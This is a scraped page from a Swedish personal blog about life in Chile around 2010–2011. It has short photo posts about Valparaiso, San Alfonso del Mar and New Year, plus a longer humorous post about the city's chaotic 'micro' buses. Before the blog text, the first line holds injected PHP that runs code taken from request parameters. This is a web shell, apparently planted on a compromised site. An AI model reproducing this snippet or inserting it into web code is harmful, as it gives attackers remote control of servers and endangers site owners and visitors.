if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['6de35b3bb10182abea6a5475fb99a130']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Chile | My Empire of Dirt

Hur dum får man vara?

Posted by on Jan 14, 2011 in Chile | 0 comments

Idiot

This used to be my playground

Posted by on Jan 11, 2011 in Chile | 0 comments

This used to be my playground

Valparaiso

Posted by on Jan 9, 2011 in Chile | 0 comments

Valparaiso

Pulgas!

Posted by on Jan 6, 2011 in Chile | 0 comments

Pulgas!

En 180º på San Alfonso Del Mar

Posted by on Jan 5, 2011 in Chile | 0 comments

Klicka på bilden för att se den större versionen.

En lååång 180º

San Alfonso Del Mar

Posted by on Jan 4, 2011 in Chile | 0 comments

San Alfonso Del Mar

Nyårsafton

Posted by on Jan 4, 2011 in Chile | 0 comments

Nyår


         

Rancagua & Machalí

Posted by on Jan 4, 2011 in Chile | 0 comments

Rancagua & Machalí

Animal hour

Posted by on Dec 27, 2010 in Chile | 0 comments

Kitty


Kitty


Rogers

Delen om micros

Posted by on Dec 25, 2010 in Chile | 0 comments

Jag känner att jag nog måste förklara fenomenet micro. I Sverige har vi bussar. Punkt.
I Chile har vi bussar och vi har micros. Micros är mer eller mindre vanliga stadsbussar. I Valparaiso har de bytt ut alla till mindre varianter som går hela tiden. Man behöver aldrig planera sin tid, utan man går bara ut till vägen (för det mesta spelar det inte ens någon roll om det är busshållplats eller inte) och vinka lite. De stannar överallt. När man betalat en futtig summa på 340 pesos (typ 5 spänn) så går man och sätter sig väldigt snabbt och håller i sig för sitt liv. Dessa micros ser inte mycket ut för världen. Helt ärligt så tror man att de kommer att falla isär vilken sekund som helst, vilket de aldrig gör. De åker som om de skulle falla ihop när som helst och chaufförerna kör som galningar. På vägar fulla med hål. Ett billigt nöje om man gillar att åka rangliga berg-och-dalbanor. Ett perfekt sätt att åka om man har en dödslängtan.
.
Häromdagen på väg till Marc och Anton så tog vi en micro fast vi åkte rutten baklänges mot vad de sa att vi skulle göra. Jag sa till chauffören att stanna vid ett torg, men han glömde visst bort oss. När vi åkt i ungefär 20-30 minuter så kom han på det. Han sa att vi kunde åka med honom till slutet, han släckte ner och tog oss hela vägen tillbaka dit vi skulle ursprungligen. Vägen dit och tillbaka var precis lika “rolig” som det brukar. Vi satt faktiskt och skrattade hela vägen. Vad ska man annars göra. Charmen med Valparaiso…
.

Micro

Micro

Micro